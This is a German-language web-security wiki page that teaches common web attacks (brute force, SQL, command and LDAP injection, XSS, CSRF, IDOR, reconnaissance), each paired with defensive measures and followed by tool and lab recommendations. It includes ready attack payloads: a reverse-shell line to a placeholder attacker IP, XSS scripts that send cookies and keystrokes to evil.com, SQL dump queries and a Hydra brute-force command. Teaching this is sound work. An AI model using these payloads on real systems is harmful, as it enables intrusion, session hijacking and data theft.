Web Hacking – wiki.simonwied.com

🔐 Auth

Authentication Bypass

🔨

Brute-Force Angriff ▶

● HIGH

Ein Brute-Force-Angriff versucht systematisch alle möglichen Passwort-Kombinationen, bis die richtige gefunden wird. Moderne Tools können tausende Anfragen pro Sekunde senden.

Wie es funktioniert

01.Angreifer sammelt Benutzernamen (z.B. durch Enumeration)

02.Tool lädt eine Wortliste (Wordlist) mit häufigen Passwörtern

03.Automatisierter Login-Versuch für jedes Passwort

04.Bei HTTP 200 / Redirect → Passwort gefunden

# Brute-Force auf ein Web-Login mit Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  targetsite.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid credentials"

# Ergebnis-Beispiel:
[80][http-post-form] host: targetsite.com
  login: admin   password: password123

🛡️ Schutzmaßnahmen

Rate Limiting (max. 5 Versuche / Minute)
Account Lockout nach N fehlgeschlagenen Versuchen
CAPTCHA nach mehreren Fehlversuchen
Starke Passwort-Policy + MFA aktivieren

💉

SQL Injection (Login Bypass) ▶

● CRITICAL

Durch manipulierte SQL-Queries kann ein Angreifer den Login-Mechanismus komplett umgehen — ohne ein gültiges Passwort zu kennen.

-- Normale Query des Servers:
SELECT * FROM users 
WHERE username = 'admin' 
  AND password = 'geheim';

-- Eingabe des Angreifers im Username-Feld:
admin' OR '1'='1' --

-- Resultierende Query (Passwort wird ignoriert!):
SELECT * FROM users 
WHERE username = 'admin' OR '1'='1' -- ' AND password='x';

🛡️ Schutzmaßnahmen

Prepared Statements / Parameterized Queries verwenden
Input-Validierung auf Server-Seite
Principle of Least Privilege für DB-User
Web Application Firewall (WAF) einsetzen

🎫

JWT Token Manipulation ▶

● CRITICAL

JSON Web Tokens (JWTs) bestehen aus drei Base64-kodierten Teilen: Header, Payload, Signature. Schwachstellen entstehen, wenn der Server die Signatur nicht korrekt prüft.

// Normaler JWT Header:
{ "alg": "HS256", "typ": "JWT" }

// Manipulierter Header (None-Algorithmus):
{ "alg": "none", "typ": "JWT" }

// Manipulierter Payload (Rechte erhöhen):
{
  "sub": "user123",
  "role": "admin",  // <-- geändert!
  "exp": 9999999999
}

🛡️ Schutzmaßnahmen

Algorithmus "none" explizit ablehnen
Signatur auf Server-Seite immer verifizieren
Kurze Token-Laufzeiten (exp) verwenden
Asymmetrische Algorithmen (RS256) bevorzugen

💉 Injection

Injection Attacks

🗄️

SQL Injection (Daten extrahieren) ▶

● CRITICAL

Über UNION-basierte oder Blind-SQLi können Angreifer die gesamte Datenbank auslesen: Tabellen, Passwort-Hashes, persönliche Daten — alles.

-- Anzahl Spalten ermitteln (Trial & Error):
https://shop.de/product?id=1 ORDER BY 3--

-- Datenbank-Version auslesen:
?id=1 UNION SELECT 1,version(),3--

-- Alle Tabellen auflisten:
UNION SELECT 1,table_name,3 
FROM information_schema.tables 
WHERE table_schema=database()--

-- Passwörter aus users-Tabelle dumpen:
UNION SELECT 1,concat(username,':',password),3 
FROM users--

-- Typisches Ergebnis:
admin:5f4dcc3b5aa765d61d8327deb882cf99  (MD5 hash)

SQLi Typ	Beschreibung
Union-based	Daten direkt in Response einschleusen
Error-based	Fehlermeldungen zur Datenextraktion nutzen
Blind (Boolean)	Ja/Nein-Fragen an die DB stellen
Time-based Blind	Zeitverzögerung (SLEEP) als Signal nutzen

🛡️ Schutzmaßnahmen

Ausschließlich Prepared Statements verwenden
ORM-Frameworks (Hibernate, SQLAlchemy) nutzen
Detaillierte Fehlermeldungen in Produktion deaktivieren
Datenbank-Benutzer nur mit nötigen Rechten ausstatten

💻

Command Injection (OS) ▶

● CRITICAL

Wenn eine Web-App Benutzereingaben direkt an die System-Shell weitergibt, kann ein Angreifer beliebige Betriebssystem-Befehle ausführen — vollständige Server-Übernahme möglich.

// Verwundbarer PHP-Code:
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);  // ← GEFÄHRLICH!

// Normale Eingabe:
?ip=8.8.8.8  → ping -c 1 8.8.8.8

// Angriff mit Semikolon (Command Chaining):
?ip=8.8.8.8; cat /etc/passwd
→ ping -c 1 8.8.8.8; cat /etc/passwd

// Angriff mit Backtick (Command Substitution):
?ip=`whoami`

// Reverse Shell (komplette Übernahme!):
?ip=; bash -i >& /dev/tcp/angreifer-ip/4444 0>&1

🛡️ Schutzmaßnahmen

Niemals Benutzereingaben direkt an Shell übergeben
escapeshellarg() / escapeshellcmd() in PHP verwenden
Whitelist-Validierung (nur IP-Format erlauben)
Systembefehle durch sichere API-Aufrufe ersetzen

📁

LDAP Injection ▶

● HIGH

Ähnlich wie SQL Injection, aber gegen LDAP-Verzeichnisdienste (Active Directory). Angreifer können Authentication bypassen oder alle Benutzer aus dem Verzeichnis auslesen.

// Normale LDAP-Query:
(&(uid=admin)(password=geheim))

// Angriffs-Eingabe im Username-Feld:
admin)(&)

// Resultierender Filter (immer true!):
(&(uid=admin)(&))(password=x))
→ Liest sich als: (uid=admin) AND TRUE

🕷️ XSS

Cross-Site Scripting (XSS)

↩️

Reflected XSS ▶

● HIGH

Das injizierte Script wird nicht gespeichert, sondern direkt in der HTTP-Response "zurückgespiegelt". Funktioniert über manipulierte Links, die Opfer anklicken sollen.

<!-- Suchfunktion gibt Eingabe zurück: -->
Suchergebnis für: <script>alert('XSS')</script>

<!-- Angreifer sendet Link an Opfer: -->
https://shop.de/search?q=<script>
  document.location='https://evil.com/steal?c='+document.cookie
</script>

<!-- Modernere Payloads (Filter umgehen): -->
<img src=x onerror=alert(1)>
<svg onload=alert(document.domain)>
<body onscroll=alert(1)><br><br>...<br><br>

🛡️ Schutzmaßnahmen

Output-Encoding: HTML-Sonderzeichen escapen (< > " ')
Content Security Policy (CSP) Header setzen
HttpOnly-Flag auf Cookies setzen
Moderne Frameworks (React, Vue) escapen automatisch

💾

Stored XSS (Persistent) ▶

● CRITICAL

Das Schadscript wird in der Datenbank gespeichert und bei jedem Seitenaufruf ausgeführt — ohne dass ein Opfer einen speziellen Link anklicken muss. Gefährlichste XSS-Variante.

// Angreifer postet in einem Kommentarfeld:
<script>
  fetch('https://evil.com/log?data=' + 
    encodeURIComponent(document.cookie))
</script>

// Gespeicherter Session-Hijack:
<script>
  var img = new Image();
  img.src = 'https://evil.com/?c=' + btoa(document.cookie);
</script>

// Keylogger via XSS:
<script>
  document.onkeypress = e =>
    fetch('https://evil.com/key?k=' + e.key);
</script>

🌐

DOM-based XSS ▶

● HIGH

Tritt auf, wenn JavaScript unsicher auf DOM-Quellen zugreift (window.location, document.referrer) und diese in unsichere Sinks schreibt (innerHTML, eval). Kein Server involviert.

// Source → Sink Pattern (GEFÄHRLICH):
var name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = "Hallo, " + name;
// URL: ?name=<img src=x onerror=alert(1)>

// Sichere Alternative:
document.getElementById('welcome').textContent = "Hallo, " + name;

🎭 CSRF

Cross-Site Request Forgery

🎭

CSRF Angriff ▶

● HIGH

Ein Opfer, das bei einer Bank eingeloggt ist, besucht eine bösartige Seite. Diese Seite sendet im Hintergrund eine Überweisung im Namen des Opfers — der Browser fügt automatisch die Session-Cookies hinzu.

<!-- Auf evil.com eingebettetes Formular: -->
<img src="https://bank.de/transfer?to=angreifer&amount=5000">

<!-- POST-basierter CSRF: -->
<form action="https://bank.de/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="angreifer">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('f').submit();</script>

🛡️ Schutzmaßnahmen

CSRF-Tokens (zufällige, nicht vorhersagbare Werte) pro Request
SameSite Cookie-Attribut (Lax oder Strict)
Origin/Referer-Header auf Server validieren
Custom Request Header für AJAX (z.B. X-Requested-With)

🔓 AccessCtrl

IDOR & Access Control

📂

IDOR (Insecure Direct Object Reference) ▶

● HIGH

Wenn eine Anwendung interne Objekte (Datei-IDs, User-IDs) direkt über URLs/Parameter exponiert, ohne zu prüfen ob der Benutzer berechtigt ist — kann ein Angreifer einfach die ID ändern.

# Eigenes Profil abrufen:
GET /api/users/1337/profile  → HTTP 200 (eigene Daten)

# ID auf anderen User ändern (IDOR!):
GET /api/users/1338/profile  → HTTP 200 (fremde Daten! 🚨)

# Vertrauliches Dokument:
GET /invoices/INV-2024-001.pdf  → eigene Rechnung
GET /invoices/INV-2024-002.pdf  → fremde Rechnung! 🚨

# Massenhaftes IDOR (Scripted):
for i in $(seq 1000 2000); do
  curl -s "https://api.site.com/data/$i" >> output.txt
done

🛡️ Schutzmaßnahmen

Server-seitige Autorisierungsprüfung bei JEDEM Request
Indirekte Objekt-Referenzen (GUIDs statt sequenziellen IDs)
Zugriffs-Logs auf ungewöhnliche Muster monitoren
User-ID aus Session lesen, nicht aus Request-Parameter

⬆️

Privilege Escalation ▶

● CRITICAL

Ein normaler Benutzer versucht Admin-Funktionen zu erreichen, indem er Parameter manipuliert, Headers ändert oder Mass Assignment Schwachstellen ausnutzt.

# Normales Profil-Update (POST):
{
  "name": "Max Mustermann",
  "email": "max@example.com"
}

# Angreifer fügt role-Feld hinzu (Mass Assignment):
{
  "name": "Max Mustermann",
  "email": "max@example.com",
  "role": "admin",
  "is_admin": true
}

🔍 Recon

Reconnaissance & Enumeration

🌐

Subdomain Enumeration ▶

● MEDIUM

Das Aufspüren aller Subdomains einer Ziel-Domain. Subdomains können vergessene Test-Systeme, Admin-Panels oder verwundbare alte Versionen sein.

# amass - umfassende Subdomain-Suche
amass enum -d example.com -passive

# subfinder - schnelles passive Enumeration
subfinder -d example.com -all -o subdomains.txt

# ffuf - DNS Brute Force mit Wordlist
ffuf -w /usr/share/wordlists/subdomains.txt \
  -u https://FUZZ.example.com \
  -mc 200,301,302

# httpx - Live-Subdomains filtern
cat subdomains.txt | httpx -title -status-code

📁

Directory & File Fuzzing ▶

● MEDIUM

Versteckte Verzeichnisse und Dateien finden: Admin-Panels, Backup-Dateien (.bak), Konfigurationsdateien, Git-Repositories und mehr.

# ffuf - der schnellste Fuzzer
ffuf -w /usr/share/wordlists/dirb/common.txt \
  -u https://example.com/FUZZ \
  -mc 200,204,301,302 -v

# Interessante Pfade die man sucht:
/admin          → Admin-Panel
/.git           → Git-Repository (Quellcode!)
/backup         → Backup-Dateien
/api/v1         → API Endpunkte
/.env           → Umgebungsvariablen mit Secrets!
/phpinfo.php    → PHP Konfiguration
/robots.txt     → Hinweise auf versteckte Pfade

🧰 Tools

Tools & Lernressourcen

🧰

Essential Security Tools ▶

Tool	Kategorie	Verwendung
Burp Suite	Proxy / Scanner	HTTP-Traffic abfangen, modifizieren & analysieren
sqlmap	SQL Injection	Automatische SQLi-Erkennung und Exploitation
Hydra	Brute Force	Login-Brute-Force für HTTP, SSH, FTP, etc.
Nmap	Recon/Scanning	Port-Scanner, Service-Erkennung
ffuf	Fuzzing	Web-Fuzzer für Directories, Parameter, Headers
Nikto	Vulnerability Scanner	Web-Server auf bekannte Schwachstellen scannen
Amass	Recon	Subdomain-Enumeration und Attack Surface Mapping

📚

Lernplattformen & Übungsumgebungen ▶

Plattform	Typ	Beschreibung
TryHackMe	Guided Labs	Anfängerfreundlich, geführte Räume mit Erklärungen
HackTheBox	CTF / Labs	Realistische Maschinen, Fortgeschrittene
PortSwigger Web Academy	Web Security	Kostenlos! Beste Web-Hacking Labs
DVWA	Lokale Übung	Deliberately Vulnerable Web Application (lokal)
PentesterLab	Web Security	CVE-basierte Übungen, Zertifikate

🗺️ Empfohlener Lernpfad

Start: TryHackMe "Pre-Security" und "Jr Penetration Tester" Pfad
Web Focus: PortSwigger Web Security Academy (100% kostenlos)
Praxis: DVWA lokal mit Docker aufsetzen und alle Schwachstellen testen
Fortgeschritten: HackTheBox CTF-Challenges & OSCP-Zertifizierung anstreben